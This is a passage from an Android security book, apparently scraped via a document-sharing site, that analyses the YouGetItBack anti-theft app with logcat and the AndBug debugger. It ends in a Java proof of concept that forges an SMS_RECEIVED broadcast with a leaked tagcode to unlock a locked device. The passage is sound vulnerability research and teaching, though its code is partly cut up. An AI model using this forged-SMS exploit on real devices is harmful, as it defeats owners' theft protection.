• Aucun résultat trouvé

Dynamic Analysis

Dans le document ffi rs.indd 01:50:14:PM 02/28/2014 Page ii (Page 141-152)

Dynamic analysis entails executing the application, typically in an instrumented or monitored manner, to garner more concrete information on its behavior. This often entails tasks like ascertaining artifacts the application leaves on the fi le system, observing network traffi c, monitoring process behavior...all things that occur during execution. Dynamic analysis is great for verifying assumptions or testing hypotheses.

The fi rst few things to address from a dynamic standpoint are getting a handle on how a user would interact with the application. What is the workfl ow? What menus, screens, and settings panes exist? Much of this can be discovered via static analysis—for instance, activities are easily identifi able. However, getting into the details of their functionality can be time consuming. It’s often easier to just interact directly with the running application.

If you fi re up logcat while launching the app, you see some familiar activity names as the ActivityManager spins the app up:

I/ActivityManager( 245): START {act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] flg=0x10200000

cmp=com.yougetitback.androidapplication.virgin.mobile/

com.yougetitback.androidapplication.ActivateSplashScreen u=0} from pid 449 I/ActivityManager( 245): Start proc

com.yougetitback.androidapplication.virgin.mobile for activity com.yougetitback.androidapplication.virgin.mobile/

com.yougetitback.androidapplication.ActivateSplashScreen:

pid=2252 uid=10080 gids={1006, 3003, 1015, 1028}

First, you see the main activity (ActivateSplashScreen), as observed via Androguard’s get_main_activity, and you see the main screen in Figure 4-5.

Figure 4-5: Splash screen/main activity

Moving through the app a bit more, you see prompts for a PIN and a secu-rity question as shown in Figure 4-6. After supplying this info, you see some notable output in logcat.

D/YGIB Test( 2252): Context from—

>com.yougetitback.androidapplication.virgin.mobile

I/RequestConfigurationService( 2252): RequestConfigurationService created!!!

D/REQUESTCONFIGURATIONSERVICE( 2252): onStartCommand

I/ActivationAcknowledgeService( 2252): RequestConfigurationService created!!!

I/RequestConfigurationService( 2252): RequestConfigurationService stopped!!!

I/PingService( 2252): PingService created!!!

D/PINGSERVICE( 2252): onStartCommand

I/ActivationAcknowledgeService( 2252): RequestConfigurationService stopped!!!

I/PingService( 2252): RequestEtagService stopped!!!

D/C2DMReceiver( 2252): Action is com.google.android.c2dm.intent.

REGISTRATION

I/intent telling something( 2252): == null ===null === Intent { act=com.google.android.c2dm.intent.REGISTRATION flg=0x10

pkg=com.yougetitback.androidapplication.virgin.mobile

cmp=com.yougetitback.androidapp lication.virgin.mobile/

com.yougetitback.androidapplication.C2DMReceiver (has extras) } I/ActivityManager( 245): START

{cmp=com.yougetitback.androidapplication.virgin.mobile/

com.yougetitback.androidapplication.ModifyPinScreen u=0} from pid 2252 ...

Figure 4-6: PIN input and security questions screen

Sure enough, there are calls being logged to start and stop some of the services you observed earlier, along with familiar activity names. Further down in the log, however, you see an interesting information leak:

D/update ( 2252): serverUrl-->https://virgin.yougetitback.com/

D/update ( 2252): settingsUrl-->vaultUpdateSettings?

D/update ( 2252): password-->3f679195148a1960f66913d09e76fca8dd31dc96 D/update ( 2252): tagCode-->137223048617183

D/update ( 2252): encodedXmlData—

>%3c%3fxml%20version%3d'1.0'%20encoding%3d'UTF-8'%3f%3e%3cConfig%3e%3cSettings%3e%3cPin%3e1234%3c

%2fPin%3e%3c%2fSettings%3e%3c%2fConfig%3e ...

D/YGIB Test( 2252): con.getResponseCode()-->200 D/YGIB Test( 2252): urlString—

>https://virgin.yougetitback.com/vaultUpdateSettings?pword=

3f679195148a1960f66913d09e76fca8dd31dc96&tagid=137223048617183&type=S

D/YGIB Test( 2512): content-->%3c%3fxml%20version%3d'1.0'%20encoding%3d' UTF-8'%3f%3e%3cConfig%3e%3cSettings%3e%3cPin%3e1234%3c%2fPin

%3e%3c%2fSettings%3e%3c%2fConfig%3e

Even within the first few steps of this application’s workflow, it already leaks session and confi guration data, including what could be the tagcode you were eyeing during static analysis. Diddling with and then saving confi guration settings in the application also yields similarly verbose output in the log buffer:

As mentioned previously, this information would be accessible by an appli-cation with the READ_LOGS permission (prior to Android 4.1). Although this particular leak may be suffi cient for achieving the goal of crafting the special SMS, you should get a bit more insight into just how this app runs. For that you use a debugger called AndBug.

AndBug connects to Java Debug Wire Protocol (JDWP) endpoints, which the Android Debugging Bridge (ADB) exposes for app processes either marked explicitly with android:debuggable=true in their manifest, or for all app pro-cesses if the ro.debuggable property is set to 1 (typically set to 0 on production devices). Aside from checking the manifest, running adb jdwp show debuggable PIDs. Assuming the target application is debuggable, you see output as follows:

$ adb jdwp 2252

Using grep to search for that PID maps accordingly to our target process (also seen in the previously shown logs):

$ adb shell ps | grep 2252

u0_a79 2252 88 289584 36284 ffffffff 00000000 S

After you have this info, you can attach AndBug to the target device and process and get an interactive shell. Use the shell command and specify the target PID:

$ andbug shell -p 2252

## AndBug (C) 2011 Scott W. Dunlop <swdunlop@gmail.com>

>>

Using the classes command, along with a partial class name, you can see what classes exist in the com.yougetitback namespace. Then using the methods command, discover the methods in a given class:

>> classes com.yougetitback

In the preceding code you see the class you were statically analyzing and reversing earlier: SmsIntentReceiver, along with the methods of interest. You can now trace methods and their arguments and data. Start by tracing the SmsIntentReceiver class, using the class-trace command in AndBug, and then sending the device a test SMS message with the text Test message:

>> class-trace com.yougetitback.androidapplication.SmsIntentReceiver

## Setting Hooks

-- Hooked com.yougetitback.androidapplication.SmsIntentReceiver

com.yougetitback.androidapplication.SmsIntentReceiver

>> ## trace thread <1> main (running suspended)

-- com.yougetitback.androidapplication.SmsIntentReceiver.<init>()V:0 -- this=Lcom/yougetitback/androidapplication/SmsIntentReceiver;

<830009571568>

...

## trace thread <1> main (running suspended)

-- com.yougetitback.androidapplication.SmsIntentReceiver.onReceive(

Landroid/content/Context;Landroid/content/Intent;)V:0

-- this=Lcom/yougetitback/androidapplication/SmsIntentReceiver;

<830009571568>

-- intent=Landroid/content/Intent; <830009581024>

...

## trace thread <1> main (running suspended)

-- com.yougetitback.androidapplication.SmsIntentReceiver.

getMessagesFromIntent(Landroid/content/Intent;) [Landroid/telephony/SmsMessage;:0

-- this=Lcom/yougetitback/androidapplication/SmsIntentReceiver;

<830009571568>

-- intent=Landroid/content/Intent; <830009581024>

...

-- com.yougetitback.androidapplication.SmsIntentReceiver.

isValidMessage(Ljava/lang/String;Landroid/content/Context;)Z:0

-- this=Lcom/yougetitback/androidapplication/SmsIntentReceiver;

<830009571568>

-- msg=Test message

-- context=Landroid/app/ReceiverRestrictedContext; <830007895400>

...

As soon as the SMS message arrives, passed up from the Telephony subsystem, your hook fi res, and you begin tracing from the initial onReceive method and beyond. You see the Intent message that was passed to onReceive, as well as the subsequent, familiar messages called thereafter. There’s also the msg variable in isValidMessage, containing our SMS text. As an aside, looking back the logcat output, you also see the message body being logged:

I/MessageListener:( 2252): Test message

A bit further down in the class-trace, you see a call to isValidMessage, includ-ing a Context object being passed in as an argument—and a set of fi elds in that object which, in this case, map to resources and strings pulled from the strings table (which you resolved manually earlier). Among them is the YGIB:U value you saw earlier, and a corresponding key YGIBUNLOCK. Recalling your static analysis of this method, the SMS message body is being checked for these values, calling isPinLock if they’re not present, as shown here:

## trace thread <1> main (running suspended)

-- com.yougetitback.androidapplication.SmsIntentReceiver.getAction(

Ljava/lang/String;)Ljava/lang/String;:0

-- this=Lcom/yougetitback/androidapplication/SmsIntentReceiver;

-- context=Landroid/app/ReceiverRestrictedContext; <830007987072>

-- YGIBUNLOCK=YGIB:U

-- this=Lcom/yougetitback/androidapplication/SmsIntentReceiver;

<830007979232>

-- this=Lcom/yougetitback/androidapplication/SmsIntentReceiver;

<830007979232>

-- msg=Foobarbaz

-- context=Landroid/app/ReceiverRestrictedContext; <830007987072>

...

In this case isPinLock then evaluates the message, but the SMS message contains neither the PIN nor one of those strings (like YGIB:U). The app does nothing with this SMS and instead passes it along to the next registered Broadcast Receiver in the chain. If you send an SMS message with the YGIB:U value, you’ll likely see a different behavior:

## trace thread <1> main (running suspended)

-- com.yougetitback.androidapplication.SmsIntentReceiver.

processContent(Landroid/content/Context;Ljava/lang/String;)V:0

-- this=Lcom/yougetitback/androidapplication/SmsIntentReceiver;

<830008303000>

-- m=YGIB:U

-- context=Landroid/app/ReceiverRestrictedContext; <830007987072>

...

## trace thread <1> main (running suspended)

-- com.yougetitback.androidapplication.SmsIntentReceiver.

processUnLockMsg(Landroid/content/Context;Ljava/util/Vector;)V:0 -- this=Lcom/yougetitback/androidapplication/SmsIntentReceiver;

<830008303000>

-- smsTokens=Ljava/util/Vector; <830008239000>

-- context=Landroid/app/ReceiverRestrictedContext; <830007987072>

-- com.yougetitback.androidapplication.SmsIntentReceiver.

processContent(Landroid/content/Context;Ljava/lang/String;)V:232 -- YGIBDEACTIVATE=YGIB:D

-- YGIBFIND=YGIB:F

-- context=Landroid/app/ReceiverRestrictedContext; <830007987072>

-- YGIBUNLOCK=YGIB:U

-- this=Lcom/yougetitback/androidapplication/SmsIntentReceiver;

<830008303000>

-- settings=Landroid/app/ContextImpl$SharedPreferencesImpl;

<830007888144>

-- m=YGIB:U

-- YGIBBACKUP=YGIB:B -- YGIBRESYNC=YGIB:RS -- YGIBLOCK=YGIB:L

-- messageTokens=Ljava/util/Vector; <830008239000>

-- YGIBWIPE=YGIB:W -- YGIBRESTORE=YGIB:E -- command=YGIB:U -- YGIBREGFROM=YGIB:T

This time, you ended up hitting both the processContent method and subse-quently the processUnLockMsg method, as you wanted. You can set a breakpoint on the processUnLockMsg method, giving an opportunity to inspect it in a bit more detail. You do this using AndBug’s break command, and pass the class and method name as arguments:

>> break com.yougetitback.androidapplication.SmsIntentReceiver processUnLockMsg

## Setting Hooks

-- Hooked <536870913> com.yougetitback.androidapplication.

SmsIntentReceiver.processUnLockMsg(Landroid/content/Context;

Ljava/util/Vector;)V:0 <class 'andbug.vm.Location'>

>> ## Breakpoint hit in thread <1> main (running suspended), process suspended.

You know from the earlier analysis that getString will be called to retrieve some value from the Shared Preferences fi le, so add a class-trace on the android.content.SharedPreferences class. Then resume the process with the resume command:

>> ct android.content.SharedPreferences

## Setting Hooks

-- Hooked android.content.SharedPreferences

>> resume

N O T E Running a method-trace or setting a breakpoint directly on certain methods can result in blocking and process death, hence why you’re just tracing the entire class. Additionally, the resume command may need to be run twice.

After the process is resumed, the output will be fairly verbose (as before).

Wading once again through the call stack, you’ll eventually come up on the getString method:

## Process Resumed

>> ## trace thread <1> main (running suspended) ...

## trace thread <1> main (running suspended)

-- android.app.SharedPreferencesImpl.getString(Ljava/lang/String;

Ljava/lang/String;)Ljava/lang/String;:0

-- this=Landroid/app/SharedPreferencesImpl; <830042611544>

-- defValue=

-- key=tagcode

-- com.yougetitback.androidapplication.SmsIntentReceiver.

processUnLockMsg(Landroid/content/Context;Ljava/util/Vector;)V:60 -- smsTokens=Ljava/util/Vector; <830042967248>

-- settings=Landroid/app/SharedPreferencesImpl; <830042611544>

-- this=Lcom/yougetitback/androidapplication/SmsIntentReceiver;

<830042981888>

-- TYPELOCK=L -- YGIBTAG=TAG:

-- TAG=AAAA -- YGIBTYPE=TYPE:

-- context=Landroid/app/ReceiverRestrictedContext; <830042704872>

-- setting=

...

And there it is, the Shared Preferences key you were looking for: tagcode, further confi rming what you identifi ed statically. This also happens to corre-spond to part of a log message that was leaked earlier, wherein tagCode was followed by a numeric string. Armed with this information, you know that our SMS message in fact needs to contain YGIB:U followed by a space and a tagcode value, or in this case, YGIB:U 137223048617183.

Attack

Although you could simply send your specially crafted SMS message to the target device, you’d still be out of luck in simply knowing the tagcode value if it happened to be different for some other, perhaps arbitrary, device (which is practically guaranteed). To this end, you’d want to leverage the leaked value in the log, which you could get in your proof-of-concept app by requesting the READ_LOGS permission.

After this value is known, a simple SMS message to the target device, following the format YGIB:U 137223048617183 would trigger the app’s unlock component.

Alternatively, you could go a step further and forge the SMS_RECEIVED broadcast from your proof-of-concept app. As sending an implicit SMS_RECEIVED Intent requires the SEND_SMS_BROADCAST permission (which is limited only to system applications), you’ll explicitly specify the Broadcast Receiver in the target app.

The overall structure of SMS Protocol Data Units (PDUs) is beyond the scope of this chapter, and some of those details are covered in Chapter 11, but the following code shows pertinent snippets to forge the Intent containing your SMS message:

String body = "YGIB:U 137223048617183";

String sender = "2125554242";

byte[] pdu = null;

byte[] scBytes = PhoneNumberUtils.networkPortionToCalledPartyBCD("

0000000000");

byte[] senderBytes =

PhoneNumberUtils.networkPortionToCalledPartyBCD(sender);

int lsmcs = scBytes.length;

byte[] dateBytes = new byte[7];

Calendar calendar = new GregorianCalendar();

dateBytes[0] = reverseByte((byte) (calendar.get(Calendar.YEAR)));

dateBytes[1] = reverseByte((byte) (calendar.get(

Calendar.MONTH) + 1));

dateBytes[2] = reverseByte((byte) (calendar.get(

Calendar.DAY_OF_MONTH)));

dateBytes[3] = reverseByte((byte) (calendar.get(

Calendar.HOUR_OF_DAY)));

dateBytes[4] = reverseByte((byte) (calendar.get(

Calendar.MINUTE)));

dateBytes[5] = reverseByte((byte) (calendar.get(

Calendar.SECOND)));

dateBytes[6] = reverseByte((byte) ((calendar.get(

Calendar.ZONE_OFFSET) + calendar

.get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));

try {

ByteArrayOutputStream bo = new ByteArrayOutputStream();

bo.write(lsmcs);

"com.android.internal.telephony.GsmAlphabet";

Class cReflectedNFCExtras = Class.forName(sReflectedClassName);

Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod(

"stringToGsm7BitPacked", new Class[] { String.class });

stringToGsm7BitPacked.setAccessible(true);

byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(

intent.setComponent(new ComponentName("com.yougetitback.

androidapplication.virgin.mobile",

"com.yougetitback.androidapplication.SmsIntentReceiver"));

intent.setAction("android.provider.Telephony.SMS_RECEIVED");

intent.putExtra("pdus", new Object[] { pdu });

intent.putExtra("format", "3gpp");

context.sendOrderedBroadcast(intent,null);

The code snippet fi rst builds the SMS PDU, including the YGIB:U command, tagcode value, the sender’s number, and other pertinent PDU properties. It then uses refl ection to call stringToGsm7BitPacked and pack the body of the PDU into the appropriate representation. The byte array representing the PDU body is then placed into the pdu object. Next, An Intent object is created, with its target component set to that of the app’s SMS receiver and its action set to SMS_RECEIVED. Next, some extra values are set. Most importantly, the pdu object is added to the extras using the "pdus" key. Finally, sendOrderdBroadcast is called, which sends your Intent off, and instructs the app to unlock the device.

To demonstrate this, the following code is the logcat output when the device is locked (in this case via SMS, where 1234 is the user’s PIN which locks the device):

Figure 4-7 shows the screen indicating a locked device.

Figure 4-7: App-locked device screen

When your app runs, sending the forged SMS to unlock the device, you see the following logcat output:

I/MessageListener:(14008): YGIB:U TAG:136267293995242 V/SWIPEWIPE(14008): recieved unlock message

D/FOREGROUNDSERVICE(14008): onDestroy

I/ActivityManager(13738): START {act=android.intent.action.VIEW cat=[test.foobar.123] flg=0x10000000

cmp=com.yougetitback.androidapplication.virgin.mobile/

com.yougetitback.androidapplication.SplashScreen (has extras) u=0}

from pid 14008

D/SIRENSERVICE(14008): onDestroy

I/UnlockAcknowledgeService(14008): UnlockAcknowledgeService created!!!

I/UnlockAcknowledgeService(14008): UnlockAcknowledgeService stopped!!!

And you return to an unlocked device.

Dans le document ffi rs.indd 01:50:14:PM 02/28/2014 Page ii (Page 141-152)